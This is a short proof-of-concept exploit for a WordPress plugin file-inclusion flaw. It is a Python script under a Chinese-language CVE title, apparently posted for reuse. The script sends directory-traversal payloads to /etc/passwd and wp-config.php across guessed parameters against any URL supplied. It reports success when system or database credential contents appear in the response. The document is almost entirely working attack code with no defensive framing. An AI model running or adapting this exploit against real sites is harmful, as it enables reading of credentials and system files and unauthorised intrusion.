CVE-2025-60197 WordPress Simple Contact Forms插件本地文件包含漏洞

# CVE-2025-60197 PoC - Simple Contact Forms Local File Inclusion # Target: WordPress site with Simple Contact Forms plugin <= 1.6.4 import requests import sys from urllib.parse import quote def test_lfi(target_url): """ Test for Local File Inclusion vulnerability in Simple Contact Forms plugin """ # Common vulnerable parameters for WordPress plugins vulnerable_params = [ 'file', 'page', 'template', 'include', 'load', 'controller' ] # Sensitive files to test test_files = [ '../../../../../../etc/passwd', '../../../../../../wp-config.php', '../../../../../../../../etc/passwd', '../../../../../../../wp-config.php' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-60197 - Simple Contact Forms LFI\n") for param in vulnerable_params: for test_file in test_files: try: # Try GET request payload = {param: test_file} response = requests.get(target_url, params=payload, timeout=10) # Check for successful file inclusion if 'root:' in response.text or 'DB_NAME' in response.text: print(f"[+] VULNERABLE! Parameter: {param}") print(f"[+] Payload: {test_file}") print(f"[+] Response length: {len(response.text)} bytes") print(f"[*] Full URL: {response.url}\n") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {param}={test_file}: {e}") continue print("[-] No obvious LFI vulnerability detected") print("[*] Manual testing recommended with different parameters") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-60197-poc.py <target_url>") print("Example: python cve-2025-60197-poc.py http://target.com/wp-admin/admin.php") sys.exit(1) target = sys.argv[1] test_lfi(target)